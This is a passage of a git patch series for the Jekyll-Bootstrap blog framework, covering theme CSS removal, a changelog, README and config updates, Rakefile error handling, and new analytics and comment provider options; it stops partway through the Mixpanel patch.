zv>N3O9ogI^tZH&|1q(}SR3aXmB&^K8XS@N3&RFh1Ic&W7GWX#_(_O|o$WIgobL`eY zknsb337DiaIfL5KH86;H(}WjwG~(?S`XqIzbGYGq@2#Yy#!&Vf&hUlfG&lHGO*Sd? zh{Oa^I~iC~^!X2o0F-sHe#R*XyMA4cPE4>5Kz#;=LJT&-l>`L#cj$US<(}%&;IzK2 zu_s$LN?JJk#=Uz&aWOG!Ju^U32EPpB7|Ad1=Wi;h<Z{RT#Yk)w<s-->QgwbML73~& zY!4dik1Okres9PbmX3n^@?j^#Zr+xzt_M5rY|T4%eq;x|v@CJ5<Qr)k@qUiCon)Z= zEvXW`q6}71bGM&j0B8=4BqB1>+JEfjGRAbCtyWl5x5Jq&hvqPq^{8RMNb5t{eW>4I zk>`X7dkPZ)%Pm}pBPQxs1F($z6#)Ww2$xZ}Z#zoe)~m-E9KgZoL{&$Nm}8&d(cH7o zr}L6V%jX_`h%!5N%(WUTedfBl*Tx4EU0L9-Zb?12KKa1?jz};huJJeA;Tro-oVcs^ zxEC*!iQIAmrm+<Kz*7fJJv}G$?<f>?I)~l7dDHdKp=io*zVJPf1Tln*?zkahkKBM4 zvqAqlcs}zgDXJJSGnZEG>5ci;)7j}rXMFp&=0<<x>_?A2X#S{*i{r{cW@w+VXKTo) z<3{KLORN`=-Ieh!x@*Sstx%AYVehForyji!N>+5+Cz+yJrLr&?Eq@N)f(`iJu|kK) z$tuo+w^nS}rIkusk(Jg8ILJEH?QydVxntSA9<|g|0b3N0;ag5T6@QA3s{U)$-Tt?; z*UI%pd;jhN;2uQ9PcuDhmxrWR`1d?E_4b`OAwYff3|=Mj;)@|bjxBnxl8VP58~ytu z2j87yTEQ>E(LVe6Y)_tnVlSfI<CwHX#lt5=c8^erW$xTJss>RlpgtuC$WG(WJ%)sv zNDC_NBhQ}3k_bGe`|nUK3iM)k9I)Yc@pa!Sylm#amsoNLZLPTiW*Sx#t(m`f7_%@l zM}kh@+u?^Pq@fyX00n+3EC17oJngeqJ%~n~XA^#(4GRJHAY=X9Ia(%w<XG2<GkDQN zEM5yWO;-tz-%+5quMA7e7u^7~EUoIKwH<wJ5loMy_B=t`sn?G<gX2(^`1|P8yd1W! ziyp12G-J8@4^w6vvp2UnFkvE|x8pOE+Jl6ZxF77l8l*6mgRB~09-g27^M?IV*?8E? zzBA@lmX_DQ4gP}=p7ok`9IvE8+&0<pIGmowecR2I?I0_s>|U5`b5~QljAywQ{UOS6 z=Dn4s=2gujP4)%jKOa@_BDKJ%+Rl*CvpjDlxh}ndhbOyf5Q5qmh?ExTbuYEeX&0kc z#TGLRm={s;@xs(GrDCKdzz=cJ(E^J6E8JkSmJ@@+hn;7T0WQL;YQ{4V-xxshKnMN} z`EQem<m3Gr8cDSX=i0>Rcf>;gl(x0AV^)1y*^XULhAo^BD@x0dJyOD^G?pwyu@q~A z&V(F=J7?+>&8LNhW3#j8uuG$|2T?vogR?F`91-QyUs>ySe#@v#Rk-+jRmGOnExSq3 zifCJ;I%BBl&tqZo;B-3LE`z6RFg8?c%di^_uwzd%p1M-bza@c2o_><_n;Ut0_@*4q zxH|aZ5(|`CgW5KBPfh8+ammS&be~UWV4_b@?{ZklC$C3I<e3o8upRoMOJl2;SXi9o z<NSOB#H-_v2F%#~14yW&U^()c6XGHw-1`DiOBaF?==4?;g2fG>muskIKGMP~xYP{x z|7$lpCQ9uugfRYoxoqPa7x_dv2ws3u_AKn|e@hnOc`&{3<F~+*OYO<bxOdMIUF1S~ z0>*^A_m1vn>~kS`wu@;lux$%12#%7=81r@X-IMpsgO^REy+w>`%l5-12AI^cO8hI1 z8Lrt;_kQQ^lKn`_?J%_YfpAq7o_7fKg0R$@%QZJQy0RezA3(iKEvqaNaAzDx>%59I z7S<zZYk$1JZr1JT?1Y2_HPz3u^bZ`?8Ai|twf(Tghpef~=HlmX48)7USWL!|POz%0 zueYHhtz>OTF&3BH;7v1}iN;D_&Ti&&5l1jbcnCs0*#JB`1ig8ql&YN{HXiKNTJ-Bz zoI}8>KRi5q7hZ5=WeLH52IiCCzC<dX`Bs_QOl>_RFACe01cA={8633lbe7i*N^pG? z&lA5@+oH_p@tcfIbcU%`q7I1AN#KP82ozl-2FAu)vFjE0-}YxF?%Cf(WDMju@>Yu$ za9sIEEp_1um)`Gq+V(?^t`c2p1fmO_^sc8xMUiZbJ^9xAN$RtGB=zCLZDa6JxQNfs zyr;VycGh;Eerk==cn`qlJl;^_Ih1_XvTn))t3HkZm0$T>%Qknse?LZ<>IhkFWbhPM zz_Yq`bN9bnC3q<TYwB$I<Uq9M4p>`0VCiiTWb-7gG1H6aoW>mhJ*1HJjkFPjMBRuN z$?@WC7sf}9NFv5%{4GfrdR9D!mF?3{Bht6luU}t}2KnuO9b9=l)M*_4r3f94_)u&K z5!y<-eafds8WeI3sfINyV^T_*O}VOBZ7tH_NVB=7Ne9}5q8c<LL?fngcgitXWOiml zs(pU_JO91&d*Ao_ywCOST_9=`yo>s;$YT<XC!i=o911jo1=WpYeB!<+I$WHb5&}!R z?x~Y$B=MPiE#D8w1vIGLKRjOf$&zE)NtzCkFNqz3O%oV?bCpSF@|!tZHT72Q5lZt7 zY~!Me{<g9{FfU%1(03Bo=o!eLl$}0v2=UO0vv8IoC1p(U-&NQ~S~WoetV{jm_xJ?m zW{K+OdADk<(EvjAs3v%s>$0Esvlqh|Y|}rKrq$yJ1CV@rq-dmA6)vbW9mG<F2uQHL zf_0#yzwhIiV0;O|d+?x>v${fuw1bw!$16Q$mF~;7Y${2GB`IOh(35sb4qtvtFbiSD z#PV0{v-Pokq~pl*FTUa})TC0l@h{LXXJphtBGCDspZ5oo3n8_KMeKoouXN<`J<wjb ziw##U-54Q60>XUv&Ycl<ks%1{$}nRSy|SFoEs(l9kxnx&Z|`f76__6ta`6sr0)<e& zkNg|jz=-bGwLwc+Z1m^J$-BVcN#GgM1j8N{`c&-XgOH_bW@~H?EJQkz(#(!ICxd)t zwZ0{&I05O48-U}=1bn=v3h_fu<345L`$`Uxl}zc!oT_<XZY-~DI~N4TP@SjVxCRN{ zfAZJ!w~P?N;0u(22|kQo74@mxe>#DSOAKN#4;05?_%}}g0+qL}k8za%znzvyB#i7v z8$EE6gP3n469(B^vfOVvaeMKQY66JnqiVqK{(hgp7bOIlVoG1NU*%EdLc(s71D>@8 zeV7My6#|rhdu@>uPmfSpu!K1#mA=FH3!dgifhuteX!bw$I>g=CSquN_Q*7F>*?G&3 zl%PtCn<-+sGgJL1^eMI(&=iwAY^O{iSZ-KUZqkJl8x?TRmE+>JBR4l@*g`2GY&5^1 zK(=vh6`*1e=;Hj+(zGe`?Qpr=<uN`+c5cmAUtsH<0r|}k)Z1%NYOy2{eyIqHY@MN_ z@S@aCV&d;0(I)0Ev(3r{{KI4_w(!2ukSFDJ;oMI_b=1B2(!yZAN;E=X$Bj$OUAci~ z8h}?th6V;<vp9MIaWtc=(^bheg|H^DI4-9<Iy*z>tEtgc%^a$~$z<&ImKGy0=X(g@ z`v`qS-z<Q^0kDPYG#bstqdm9k`RGxrz0FxE@QDv^m$@+ka0GVLrtosViqWzjeL_Cc z;jz>@=nrJFycuA+NPlk)daq1-X~{rxLv1v?lETI<?K9(ws-_F5G7lmGuZdzlpK843 z3Dm`COz<X=$jA2UWU#VAp-|x&+;R3|=e3aBsw$^(S9fIge^DZoZX&A}y1}G<F6vCJ zE3;mT#hpMl*I^plv8HO0-<|;U{tyOl;+ByVQmiz1VVPj;QPan+y}8f6*8u@U#t-)Q zC&KH#8O<5eVg2LOWa<@YgV*cOY7l}`+|Awqk##xNa+SHeH@Nk;qGUrGFM@;peVxY> zE`dV<6`aoei>oG7v5AFQAQVR5RA!P%AY>v^HoaX7LaG&wo@Ig=%+iwcF{fq=@on?k zVv+n97VJe;m9Hb5l$7=m!RyslNj0X<si2)N<xE8qWN=T3yuus+n=?{Us_~~cf=moS zHD)PHes+xV@E@>wbA}!c<}4~Z&}AI{>H*EHst~k|=LZMgXIDuZeQEL`+yzV&r)jS2 zb1BF)r7`dO#{L)pA<;J*MjIvh<CL`>_)5x|qJj5^NQMLCkNCs0YroWBnJ)p2bnR9& zwho^6jMw0e$-%?R=j`t$G+ol!jGqOAIkC)m#l@!X(W8DjQN3zUQ1BvJeK|~%K)SDX z9B5dZfFmgOb|mg^32O$<HZBh3N!c^=OXN<c!;U=zCN)&oOq0HQZW3H++QcOWzi?qA zM9jfft&?9Amv7G%YjH&V>|$J)iANdf^A_vqFpb{Wd;Lm0dOZ~r79O6V&~o(ubE2+p z+rfH}BFmy{1FNP63|3fK6~0I?x3NbIsi1=;>6Sm$3%IMth}udAjoSl>oK#77HGd;& XCp01&hKWz;$R(T|-5u^w1LOY(sq}}P diff --git a/assets/themes/tom/css/screen.css b/assets/themes/tom/css/screen.css deleted file mode 100644 index 810e5a1..0000000 --- a/assets/themes/tom/css/screen.css +++ /dev/null @@ -1,197 +0,0 @@ -/*****************************************************************************/ -/* -/* Common -/* -/*****************************************************************************/ - -/* Global Reset */ - -* { - margin: 0; - padding: 0; -} - -html, body { - height: 100%; -} - -body { - background-color: white; - font: 13.34px helvetica, arial, clean, sans-serif; - *font-size: small; - text-align: center; -} - -h1, h2, h3, h4, h5, h6 { - font-size: 100%; -} - -h1 { - margin-bottom: 1em; -} - -p { - margin: 1em 0; -} - -a { - color: #00a; -} - -a:hover { - color: black; -} - -a:visited { - color: #a0a; -} - -table { - font-size: inherit; - font: 100%; -} - -/*****************************************************************************/ -/* -/* Home -/* -/*****************************************************************************/ - -ul.posts { - list-style-type: none; - margin-bottom: 2em; -} - - ul.posts li { - line-height: 1.75em; - } - - ul.posts span { - color: #aaa; - font-family: Monaco, "Courier New", monospace; - font-size: 80%; - } - -/*****************************************************************************/ -/* -/* Site -/* -/*****************************************************************************/ - -.site { - font-size: 110%; - text-align: justify; - width: 40em; - margin: 3em auto 2em auto; - line-height: 1.5em; -} - -.title { - color: #a00; - font-weight: bold; - margin-bottom: 2em; -} - - .site .title a { - color: #a00; - text-decoration: none; - } - - .site .title a:hover { - color: black; - } - - .site .title a.extra { - color: #aaa; - text-decoration: none; - margin-left: 1em; - } - - .site .title a.extra:hover { - color: black; - } - - .site .meta { - color: #aaa; - } - - .site .footer { - font-size: 80%; - color: #666; - border-top: 4px solid #eee; - margin-top: 2em; - overflow: hidden; - } - - .site .footer .contact { - float: left; - margin-right: 3em; - } - - .site .footer .contact a { - color: #8085C1; - } - - .site .footer .rss { - margin-top: 1.1em; - margin-right: -.2em; - float: right; - } - - .site .footer .rss img { - border: 0; - } - -/*****************************************************************************/ -/* -/* Posts -/* -/*****************************************************************************/ - -#post { - -} - - /* standard */ - - #post pre { - border: 1px solid #ddd; - background-color: #eef; - padding: 0 .4em; - } - - #post ul, - #post ol { - margin-left: 1.35em; - } - - #post code { - border: 1px solid #ddd; - background-color: #eef; - font-size: 85%; - padding: 0 .2em; - } - - #post pre code { - border: none; - } - - /* terminal */ - - #post pre.terminal { - border: 1px solid black; - background-color: #333; - color: white; - } - - #post pre.terminal code { - background-color: #333; - } - -#related { - margin-top: 2em; -} - - #related h2 { - margin-bottom: 1em; - } \ No newline at end of file diff --git a/assets/themes/tom/css/syntax.css b/assets/themes/tom/css/syntax.css deleted file mode 100644 index 2774b76..0000000 --- a/assets/themes/tom/css/syntax.css +++ /dev/null @@ -1,60 +0,0 @@ -.highlight { background: #ffffff; } -.highlight .c { color: #999988; font-style: italic } /* Comment */ -.highlight .err { color: #a61717; background-color: #e3d2d2 } /* Error */ -.highlight .k { font-weight: bold } /* Keyword */ -.highlight .o { font-weight: bold } /* Operator */ -.highlight .cm { color: #999988; font-style: italic } /* Comment.Multiline */ -.highlight .cp { color: #999999; font-weight: bold } /* Comment.Preproc */ -.highlight .c1 { color: #999988; font-style: italic } /* Comment.Single */ -.highlight .cs { color: #999999; font-weight: bold; font-style: italic } /* Comment.Special */ -.highlight .gd { color: #000000; background-color: #ffdddd } /* Generic.Deleted */ -.highlight .gd .x { color: #000000; background-color: #ffaaaa } /* Generic.Deleted.Specific */ -.highlight .ge { font-style: italic } /* Generic.Emph */ -.highlight .gr { color: #aa0000 } /* Generic.Error */ -.highlight .gh { color: #999999 } /* Generic.Heading */ -.highlight .gi { color: #000000; background-color: #ddffdd } /* Generic.Inserted */ -.highlight .gi .x { color: #000000; background-color: #aaffaa } /* Generic.Inserted.Specific */ -.highlight .go { color: #888888 } /* Generic.Output */ -.highlight .gp { color: #555555 } /* Generic.Prompt */ -.highlight .gs { font-weight: bold } /* Generic.Strong */ -.highlight .gu { color: #aaaaaa } /* Generic.Subheading */ -.highlight .gt { color: #aa0000 } /* Generic.Traceback */ -.highlight .kc { font-weight: bold } /* Keyword.Constant */ -.highlight .kd { font-weight: bold } /* Keyword.Declaration */ -.highlight .kp { font-weight: bold } /* Keyword.Pseudo */ -.highlight .kr { font-weight: bold } /* Keyword.Reserved */ -.highlight .kt { color: #445588; font-weight: bold } /* Keyword.Type */ -.highlight .m { color: #009999 } /* Literal.Number */ -.highlight .s { color: #d14 } /* Literal.String */ -.highlight .na { color: #008080 } /* Name.Attribute */ -.highlight .nb { color: #0086B3 } /* Name.Builtin */ -.highlight .nc { color: #445588; font-weight: bold } /* Name.Class */ -.highlight .no { color: #008080 } /* Name.Constant */ -.highlight .ni { color: #800080 } /* Name.Entity */ -.highlight .ne { color: #990000; font-weight: bold } /* Name.Exception */ -.highlight .nf { color: #990000; font-weight: bold } /* Name.Function */ -.highlight .nn { color: #555555 } /* Name.Namespace */ -.highlight .nt { color: #000080 } /* Name.Tag */ -.highlight .nv { color: #008080 } /* Name.Variable */ -.highlight .ow { font-weight: bold } /* Operator.Word */ -.highlight .w { color: #bbbbbb } /* Text.Whitespace */ -.highlight .mf { color: #009999 } /* Literal.Number.Float */ -.highlight .mh { color: #009999 } /* Literal.Number.Hex */ -.highlight .mi { color: #009999 } /* Literal.Number.Integer */ -.highlight .mo { color: #009999 } /* Literal.Number.Oct */ -.highlight .sb { color: #d14 } /* Literal.String.Backtick */ -.highlight .sc { color: #d14 } /* Literal.String.Char */ -.highlight .sd { color: #d14 } /* Literal.String.Doc */ -.highlight .s2 { color: #d14 } /* Literal.String.Double */ -.highlight .se { color: #d14 } /* Literal.String.Escape */ -.highlight .sh { color: #d14 } /* Literal.String.Heredoc */ -.highlight .si { color: #d14 } /* Literal.String.Interpol */ -.highlight .sx { color: #d14 } /* Literal.String.Other */ -.highlight .sr { color: #009926 } /* Literal.String.Regex */ -.highlight .s1 { color: #d14 } /* Literal.String.Single */ -.highlight .ss { color: #990073 } /* Literal.String.Symbol */ -.highlight .bp { color: #999999 } /* Name.Builtin.Pseudo */ -.highlight .vc { color: #008080 } /* Name.Variable.Class */ -.highlight .vg { color: #008080 } /* Name.Variable.Global */ -.highlight .vi { color: #008080 } /* Name.Variable.Instance */ -.highlight .il { color: #009999 } /* Literal.Number.Integer.Long */ From a86349e9bbea20653ad58bc513d5b27da14ef09b Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Wed, 1 Feb 2012 18:10:42 -0800 Subject: [PATCH 070/144] Add changelog --- _config.yml | 2 +- changelog.md | 35 +++++++++++++++++++++++++++++++++++ 2 files changed, 36 insertions(+), 1 deletion(-) create mode 100644 changelog.md diff --git a/_config.yml b/_config.yml index 37ac40e..abd384a 100644 --- a/_config.yml +++ b/_config.yml @@ -2,7 +2,7 @@ # For more see: https://github.com/mojombo/jekyll/wiki/Permalinks permalink: /:categories/:year/:month/:day/:title -exclude: [".rbenv-version", "README.md", "Rakefile"] +exclude: [".rvmrc", ".rbenv-version", "README.md", "Rakefile", "changelog.md"] auto: true pygments: true diff --git a/changelog.md b/changelog.md new file mode 100644 index 0000000..6332d58 --- /dev/null +++ b/changelog.md @@ -0,0 +1,35 @@ +## Changelog + +Public releases are all root nodes. +Incremental version bumps that were not released publicly are nested where appropriate. + +P.S. If there is a standard (popular) changelog format, please let me know. + + +- **0.2.0 : 2012.02.01** + Features + - Add Theme Packages v 0.1.0 + All themes should be tracked and maintained outside of JB core. + Themes get "installed" via the Theme Installer. + Theme Packages versioning is done separately from JB core with + the main intent being to make sure theme versions are compatible with the given installer. + + - 0.1.2 : @jamesFleeting adds facebook comments support + - 0.1.1 : @SegFaultAX adds tagline as site-wide configuration + +- **0.1.0 : 2012.01.24** + First major versioned release. + + Features + - Standardize Public API + - Use name-spacing and modulation where possible. + - Ability to override public methods with custom code. + - Publish the theme API. + - Ship with comments, analytics integration. + +- **0.0.1 : 2011.12.30** + First public release, lots of updates =p + Thank you everybody for dealing with the fast changes and helping + me work out the API to a manageable state. + + \ No newline at end of file From 58fa44500bededb8a744efa6ff0a111b373030c3 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Wed, 1 Feb 2012 18:22:39 -0800 Subject: [PATCH 071/144] update contributing instructions --- README.md | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 5888cd2..9bf9c6d 100644 --- a/README.md +++ b/README.md @@ -16,7 +16,19 @@ This repository tracks 2 projects: - **Jekyll-Bootstrap Framework.** The framework for which users should clone and build their blog on top of is available in the master branch. - Please fork and contribute additions to the framework itself here. + + To contribute to the framework please make sure to checkout your branch based on `jb-development`!! + This is very important as it allows me to accept your pull request without having to publish a public version release. + + Small, atomic Features, bugs, etc. + Use the `jb-development` branch but note it will likely change fast as pull requests are accepted. + Please rebase as often as possible when working. + Work on small, atomic features/bugs to avoid upstream commits affecting/breaking your development work. + + For Big Features or major API extensions/edits: + This is the one case where I'll accept pull-requests based off the master branch. + This allows you to work in isolation but it means I'll have to manually merge your work into the next public release. + Translation : it might take a bit longer so please be patient! (but sincerely thank you). - **Jekyll-Bootstrap Documentation Website.** The documentation website at <http://jekyllbootstrap.com> is maintained in the gh-pages branch. From 4c29c7ed76a1f972b456f3cd158432caef5c0a81 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Fri, 3 Feb 2012 16:28:43 -0800 Subject: [PATCH 072/144] bump version : 0.2.0 --- README.md | 2 +- Rakefile | 1 + _config.yml | 2 +- 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 9bf9c6d..1bcfdd9 100644 --- a/README.md +++ b/README.md @@ -8,7 +8,7 @@ For all usage and documentation please see: <http://jekyllbootstrap.com> ## Version -0.1.0 - stable and versioned using [semantic versioning](http://semver.org/). +0.2.0 - stable and versioned using [semantic versioning](http://semver.org/). ## Contributing diff --git a/Rakefile b/Rakefile index de6e2a9..a4d8651 100644 --- a/Rakefile +++ b/Rakefile @@ -4,6 +4,7 @@ require 'yaml' SOURCE = "." CONFIG = { + 'version' => "0.2.0", 'themes' => File.join(SOURCE, "_includes", "themes"), 'layouts' => File.join(SOURCE, "_layouts"), 'posts' => File.join(SOURCE, "_posts"), diff --git a/_config.yml b/_config.yml index abd384a..4fa3bc0 100644 --- a/_config.yml +++ b/_config.yml @@ -31,7 +31,7 @@ production_url : http://username.github.com # All Jekyll-Bootstrap specific configurations are namespaced into this hash # JB : - version : 0.1.0 + version : 0.2.0 # All links will be namespaced by BASE_PATH if defined. # This is required for hosting GitHub Project Pages. From 1580fb232debb9549b6025a5be98a04eb0191c3c Mon Sep 17 00:00:00 2001 From: Stephen Ball <sdball@gmail.com> Date: Sat, 4 Feb 2012 17:53:41 -0500 Subject: [PATCH 073/144] fix clicky tracking image If the visitor has JavaScript disabled, clicky still tracks the visit by having the browser load a gif that's specific to the site id in the tracking code. --- _includes/JB/analytics-providers/getclicky | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_includes/JB/analytics-providers/getclicky b/_includes/JB/analytics-providers/getclicky index a9a5fd9..e9462f4 100644 --- a/_includes/JB/analytics-providers/getclicky +++ b/_includes/JB/analytics-providers/getclicky @@ -9,4 +9,4 @@ clicky_site_ids.push({{ site.JB.analytics.getclicky.site_id }}); ( document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0] ).appendChild( s ); })(); </script> -<noscript><p><img alt="Clicky" width="1" height="1" src="//in.getclicky.com/66527741ns.gif" /></p></noscript> \ No newline at end of file +<noscript><p><img alt="Clicky" width="1" height="1" src="//in.getclicky.com/{{ site.JB.analytics.getclicky.site_id }}ns.gif" /></p></noscript> From 7a799ce004f056cf38ebdf06de56f49fcb781963 Mon Sep 17 00:00:00 2001 From: Brandon Philips <brandon@ifup.org> Date: Sun, 5 Feb 2012 15:37:49 -0800 Subject: [PATCH 074/144] index.md: add tagline metadata Instead of hard coding the tagline use some metadata --- _includes/themes/twitter/page.html | 2 +- index.md | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/_includes/themes/twitter/page.html b/_includes/themes/twitter/page.html index 7ac6fab..e42278a 100644 --- a/_includes/themes/twitter/page.html +++ b/_includes/themes/twitter/page.html @@ -1,5 +1,5 @@ <div class="page-header"> - <h1>{{ page.title }} <small>Supporting tagline</small></h1> + <h1>{{ page.title }} <small>{{ page.tagline }}</small></h1> </div> <div class="row"> diff --git a/index.md b/index.md index dfa0769..f8b5475 100644 --- a/index.md +++ b/index.md @@ -1,6 +1,7 @@ --- layout: page title: Hello World! +tagline: Supporting tagline --- {% include JB/setup %} From 4a4a4a880925b1c5ff7313fe3d2853a37e7720a4 Mon Sep 17 00:00:00 2001 From: Alessio Caiazza <nolith@abisso.org> Date: Mon, 6 Feb 2012 11:05:22 +0100 Subject: [PATCH 075/144] Loading custom rake file from _rake/*.rake --- Rakefile | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 1b0faad..e67a4b9 100644 --- a/Rakefile +++ b/Rakefile @@ -104,4 +104,7 @@ end def get_stdin(message) print message STDIN.gets.chomp -end \ No newline at end of file +end + +#Load custom rake scripts +Dir['_rake/*.rake'].each { |r| load r } From 3a2df76133171e1cd576708a60694e7d0632b671 Mon Sep 17 00:00:00 2001 From: Jade Dominguez <plusjade@gmail.com> Date: Mon, 6 Feb 2012 13:32:44 -0800 Subject: [PATCH 076/144] Resolve incorrect HOME_PATH/BASE_PATH settings JB/setup needs to account for being falsy. Also add better usage instructions for BASE_PATH. Fixes #30 --- _config.yml | 26 ++++++++++++++++++++------ _includes/JB/setup | 2 +- 2 files changed, 21 insertions(+), 7 deletions(-) diff --git a/_config.yml b/_config.yml index 4fa3bc0..722b38e 100644 --- a/_config.yml +++ b/_config.yml @@ -34,14 +34,28 @@ JB : version : 0.2.0 # All links will be namespaced by BASE_PATH if defined. - # This is required for hosting GitHub Project Pages. - # If you are deploying this website for one of your GitHub projects - # you must set BASE_PATH to the name of your GitHub project. + # Links in your website should always be prefixed with {{BASE_PATH}} + # however this value will be dynamically changed depending on your deployment situation. # - # Leave this blank if you have defined a CNAME for your site (pages.github.com) - # NOTE: When in localhost, your site will run from root "/" regardless of BASE_PATH + # CNAME (http://yourcustomdomain.com) + # DO NOT SET BASE_PATH + # (urls will be prefixed with "/" and work relatively) # - BASE_PATH : "" + # GitHub Pages (http://username.github.com) + # DO NOT SET BASE_PATH + # (urls will be prefixed with "/" and work relatively) + # + # GitHub Project Pages (http://username.github.com/project-name) + # + # A GitHub Project site exists in the `gh-pages` branch of one of your repositories. + # REQUIRED! Set BASE_PATH to: http://username.github.com/project-name + # + # CAUTION: + # - When in Localhost, your site will run from root "/" regardless of BASE_PATH + # - Only the following values are falsy: ["", null, false] + # - When setting BASE_PATH it must be a valid url. + # This means always setting the protocol (http|https) or prefixing with "/" + BASE_PATH : false # By default, the asset_path is automatically defined relative to BASE_PATH plus the enabled theme. # ex: [BASE_PATH]/assets/themes/[THEME-NAME] diff --git a/_includes/JB/setup b/_includes/JB/setup index e6d8b88..efcd84b 100644 --- a/_includes/JB/setup +++ b/_includes/JB/setup @@ -5,7 +5,7 @@ {% if site.JB.setup.provider == "custom" %} {% include custom/setup %} {% else %} - {% if site.safe and site.JB.BASE_PATH %} + {% if site.safe and site.JB.BASE_PATH and site.JB.BASE_PATH != '' %} {% assign BASE_PATH = site.JB.BASE_PATH %} {% assign HOME_PATH = site.JB.BASE_PATH %} {% else %} From 068e522ce302f948bf3144104dea738316a6ff73 Mon Sep 17 00:00:00 2001 From: Anton Vattay <3martini@gmail.com> Date: Wed, 8 Feb 2012 17:52:15 -0500 Subject: [PATCH 077/144] Added error check for git clone system call. --- Rakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index a4d8651..48d53e6 100644 --- a/Rakefile +++ b/Rakefile @@ -254,7 +254,7 @@ end # end namespace :theme # Returns theme manifest hash def theme_from_git_url(url) tmp_path = JB::Path.build(:theme_packages, :node => "_tmp") - system("git clone #{url} #{tmp_path}") + abort("rake aborted: could not find git in environment") if !system("git clone #{url} #{tmp_path}") manifest = verify_manifest(tmp_path) new_path = JB::Path.build(:theme_packages, :node => manifest["name"]) if File.exist?(new_path) && ask("=> #{new_path} theme package already exists. Override?", ['y', 'n']) == 'n' From 9bb6ea15af9661661369dd615a3655fccc5ea225 Mon Sep 17 00:00:00 2001 From: Simon Starr <simon@starr.cx> Date: Sun, 19 Feb 2012 20:09:30 +0000 Subject: [PATCH 078/144] Small fix to check the correct variable (page.comments instead of page.JB.comments) so that disabling comments works as documented. --- _includes/JB/comments | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_includes/JB/comments b/_includes/JB/comments index 58fdff6..4e9e600 100644 --- a/_includes/JB/comments +++ b/_includes/JB/comments @@ -1,4 +1,4 @@ -{% if site.JB.comments.provider and page.JB.comments != false %} +{% if site.JB.comments.provider and page.comments != false %} {% case site.JB.comments.provider %} {% when "disqus" %} From ba5fa9bdac5d04e3d2d94b3b1d359289fffcd534 Mon Sep 17 00:00:00 2001 From: Anton Vattay <3martini@gmail.com> Date: Thu, 23 Feb 2012 16:31:35 -0500 Subject: [PATCH 079/144] Issue #46, theme install fails on msys, permissions. --- Rakefile | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/Rakefile b/Rakefile index 48d53e6..9938180 100644 --- a/Rakefile +++ b/Rakefile @@ -273,9 +273,11 @@ end # # Returns theme manifest hash def verify_manifest(theme_path) - manifest = File.join(theme_path, "manifest.yml") - abort("rake aborted: repo must contain valid manifest.yml") unless File.exist? manifest - manifest = YAML.load_file(manifest) + manifest_path = File.join(theme_path, "manifest.yml") + manifest_file = File.open( manifest_path ) + abort("rake aborted: repo must contain valid manifest.yml") unless File.exist? manifest_file + manifest = YAML.load( manifest_file ) + manifest_file.close manifest end From 4a03980a8c5127d7b839e6e8bdad47b17b5777bc Mon Sep 17 00:00:00 2001 From: Anton Vattay <3martini@gmail.com> Date: Thu, 23 Feb 2012 16:33:14 -0500 Subject: [PATCH 080/144] Improved error text. --- Rakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 9938180..44c4716 100644 --- a/Rakefile +++ b/Rakefile @@ -254,7 +254,7 @@ end # end namespace :theme # Returns theme manifest hash def theme_from_git_url(url) tmp_path = JB::Path.build(:theme_packages, :node => "_tmp") - abort("rake aborted: could not find git in environment") if !system("git clone #{url} #{tmp_path}") + abort("rake aborted: system call to git clone failed") if !system("git clone #{url} #{tmp_path}") manifest = verify_manifest(tmp_path) new_path = JB::Path.build(:theme_packages, :node => manifest["name"]) if File.exist?(new_path) && ask("=> #{new_path} theme package already exists. Override?", ['y', 'n']) == 'n' From 7956efeabdbd533aa3677df7f1fe640e0d591884 Mon Sep 17 00:00:00 2001 From: Tommaso Visconti <tommaso.visconti@gmail.com> Date: Sat, 25 Feb 2012 16:43:00 +0100 Subject: [PATCH 081/144] Added the wordpress_id value in Disqus code if present in the post Signed-off-by: Tommaso Visconti <tommaso.visconti@gmail.com> --- _includes/JB/comments-providers/disqus | 1 + 1 file changed, 1 insertion(+) diff --git a/_includes/JB/comments-providers/disqus b/_includes/JB/comments-providers/disqus index f6dd3a9..618a7b7 100644 --- a/_includes/JB/comments-providers/disqus +++ b/_includes/JB/comments-providers/disqus @@ -2,6 +2,7 @@ <script type="text/javascript"> {% if site.safe == false %}var disqus_developer = 1;{% endif %} var disqus_shortname = '{{ site.JB.comments.disqus.short_name }}'; // required: replace example with your forum shortname + {% if page.wordpress_id %}var disqus_identifier = '{{page.wordpress_id}} {{site.production_url}}/?p={{page.wordpress_id}}';{% endif %} /* * * DON'T EDIT BELOW THIS LINE * * */ (function() { var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true; From af8839037cb42f6fddf75bda7e89e4adb59d3891 Mon Sep 17 00:00:00 2001 From: Abhijeet Kumar <abhijeet.kumar.ak@gmail.com> Date: Tue, 28 Feb 2012 23:22:53 -0800 Subject: [PATCH 082/144] Adding Mixpanel as analytics provider --- _config.yml | 5 ++++- _includes/JB/analytics | 2 ++ _includes/JB/analytics-providers/mixpanel | 11 +++++++++++ 3 files changed, 17 insertions(+), 1 deletion(-) create mode 100644 _includes/JB/analytics-providers/mixpanel diff --git a/_config.yml b/_config.yml index 722b38e..1def3ed 100644 --- a/_config.yml +++ b/_config.yml @@ -97,11 +97,14 @@ JB : # Set 'provider' to false to turn analytics off globally. # analytics : - provider : google + provider : mixpanel google : tracking_id : 'UA-123-12' getclicky : site_id : + mixpanel : + token : '_MIXPANEL_TOKEN_' + # Settings for sharing helper. # Sharing is for things like tweet, plusone, like, reddit buttons etc. diff --git a/_includes/JB/analytics b/_includes/JB/analytics index 9280e8d..4b04ec9 100644 --- a/_includes/JB/analytics +++ b/_includes/JB/analytics @@ -5,6 +5,8 @@ {% include JB/analytics-providers/google %} {% when 